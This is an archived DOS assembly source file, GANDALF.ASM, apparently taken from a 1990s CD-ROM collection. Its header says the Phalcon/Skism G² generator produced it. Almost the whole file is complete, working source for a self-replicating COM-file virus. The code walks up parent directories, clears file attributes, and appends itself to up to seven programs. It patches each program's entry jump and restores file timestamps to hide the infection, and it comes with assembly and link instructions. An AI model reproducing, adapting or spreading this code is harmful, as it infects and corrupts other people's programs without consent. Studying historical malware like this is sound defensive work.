home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GANDALF.ASM < prev    next >
Assembly Source File  |  1996-04-06  |  6KB  |  203 lines

  1. ; Virus generated by G² 0.70ß
  2. ; G² written by Dark Angel of Phalcon/Skism
  3.                 
  4. ; File: GANDALF.ASM
  5. ;     Gandalf by Ender
  6.                 
  7.                 
  8.         .model  tiny
  9.         .code   
  10.                 
  11. ; Assemble with:
  12. ; TASM /m3 filename.ASM
  13. ; TLINK /t filename.OBJ
  14.         org     0100h
  15.                 
  16. carrier:
  17.         db      0E9h,0,0                ; jmp start
  18.                 
  19. start:
  20.         call    next
  21. next:
  22.         pop     bp
  23.         sub     bp, offset next
  24.                 
  25.         mov     ah, 0047h               ; Get directory
  26.         lea     si, [bp+offset origdir+1]
  27.         cwd                             ; Default drive
  28.         int     0021h
  29.                 
  30.         lea     dx, [bp+offset newDTA]
  31.         mov     ah, 001Ah               ; Set DTA
  32.         int     0021h
  33.                 
  34.         mov     ax, 3524h
  35.         int     0021h
  36.         push    es
  37.         push    bx
  38.                 
  39.         lea     dx, [bp+INT24]          ; ASSumes ds=cs
  40.         mov     ax, 2524h
  41.         int     0021h
  42.                 
  43.         push    cs
  44.         pop     es
  45.                 
  46. restore_COM:
  47.         mov     di, 0100h
  48.         push    di
  49.         lea     si, [bp+offset old3]
  50.         movsb   
  51.         movsw   
  52.                 
  53.         mov     byte ptr [bp+numinfect], 0000h
  54. traverse_loop:
  55.         lea     dx, [bp+offset COMmask]
  56.         call    infect
  57.         cmp     [bp+numinfect], 0007h
  58.         jae     exit_traverse           ; exit if enough infected
  59.                 
  60.         mov     ah, 003Bh               ; CHDIR
  61.         lea     dx, [bp+offset dot_dot] ; go to previous dir
  62.         int     0021h
  63.         jnc     traverse_loop           ; loop if no error
  64.                 
  65. exit_traverse:
  66.                 
  67.         lea     si, [bp+offset origdir]
  68.         mov     byte ptr [si], '\'
  69.         mov     ah, 003Bh               ; restore directory
  70.         xchg    dx, si
  71.         int     0021h
  72.                 
  73.         pop     dx
  74.         pop     ds
  75.         mov     ax, 2524h
  76.         int     0021h
  77.                 
  78.                 
  79.         mov     dx, 0080h               ; in the PSP
  80.         mov     ah, 001Ah               ; restore DTA to default
  81.         int     0021h
  82.                 
  83. return:
  84.         ret     
  85.                 
  86. old3            db      0cdh,20h,0
  87.                 
  88. INT24:
  89.         mov     al, 0003h
  90.         iret    
  91.                 
  92. infect:
  93.         mov     cx, 0007h               ; all files
  94.         mov     ah, 004Eh               ; find first
  95. findfirstnext:
  96.         int     0021h
  97.         jc      return
  98.         mov     ax, 4300h
  99.         lea     dx, [bp+newDTA+30]
  100.         int     0021h
  101.         jc      return
  102.         push    cx
  103.         push    dx
  104.                 
  105.         mov     ax, 4301h               ; clear file attributes
  106.         push    ax                      ; save for later use
  107.         xor     cx, cx
  108.         int     0021h
  109.                 
  110.         mov     ax, 3D02h
  111.         lea     dx, [bp+newDTA+30]
  112.         int     0021h
  113.         mov     bx, ax                  ; xchg ax,bx is more efficient
  114.                 
  115.         mov     ax, 5700h               ; get file time/date
  116.         int     0021h
  117.         push    cx
  118.         push    dx
  119.                 
  120.         mov     ah, 003Fh
  121.         mov     cx, 001Ah
  122.         lea     dx, [bp+offset readbuffer]
  123.         int     0021h
  124.                 
  125.         mov     ax, 4202h
  126.         xor     cx, cx
  127.         cwd     
  128.         int     0021h
  129.                 
  130.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  131.         jz      jmp_close
  132.         mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
  133.         add     cx, heap-start+3        ; convert to filesize
  134.         cmp     ax, cx                  ; equal if already infected
  135.         jl      skipp
  136. jmp_close:
  137.         jmp     close
  138. skipp:
  139.                 
  140.         cmp     ax, 65535-(endheap-start) ; check if too large
  141.         ja      jmp_close               ; Exit if so
  142.                 
  143.         cmp     ax, (heap-start)        ; check if too small
  144.         jb      jmp_close               ; Exit if so
  145.                 
  146.         lea     si, [bp+offset readbuffer]
  147.         lea     di, [bp+offset old3]
  148.         movsb   
  149.         movsw   
  150.                 
  151.         sub     ax, 0003h
  152.         mov     word ptr [bp+offset readbuffer+1], ax
  153.         mov     dl, 00E9h
  154.         mov     byte ptr [bp+offset readbuffer], dl
  155.         lea     dx, [bp+offset start]
  156.         mov     ah, 0040h               ; concatenate virus
  157.         mov     cx, heap-start
  158.         int     0021h
  159.                 
  160.         xor     cx, cx
  161.         mov     ax, 4200h
  162.         xor     dx, dx
  163.         int     0021h
  164.                 
  165.                 
  166.         mov     cx, 0003h
  167.         lea     dx, [bp+offset readbuffer]
  168.         mov     ah, 0040h
  169.         int     0021h
  170.                 
  171.         inc     [bp+numinfect]
  172.                 
  173. close:
  174.         mov     ax, 5701h               ; restore file time/date
  175.         pop     dx
  176.         pop     cx
  177.         int     0021h
  178.                 
  179.         mov     ah, 003Eh
  180.         int     0021h
  181.                 
  182.         pop     ax                      ; restore file attributes
  183.         pop     dx                      ; get filename and
  184.         pop     cx                      ; attributes from stack
  185.         int     0021h
  186.                 
  187.         mov     ah, 004Fh               ; find next
  188.         jmp     findfirstnext
  189.                 
  190. signature       db      '[PS/G²]',0     ; Phalcon/Skism G²
  191. creator         db      'Ender',0
  192. virusname       db      'Gandalf',0
  193. COMmask         db      '*.COM',0
  194. dot_dot         db      '..',0
  195.                 
  196. heap:
  197. newDTA          db      43 dup (?)
  198. origdir         db      65 dup (?)
  199. numinfect       db      ?
  200. readbuffer      db      1ah dup (?)
  201. endheap:
  202.         end     carrier
  203.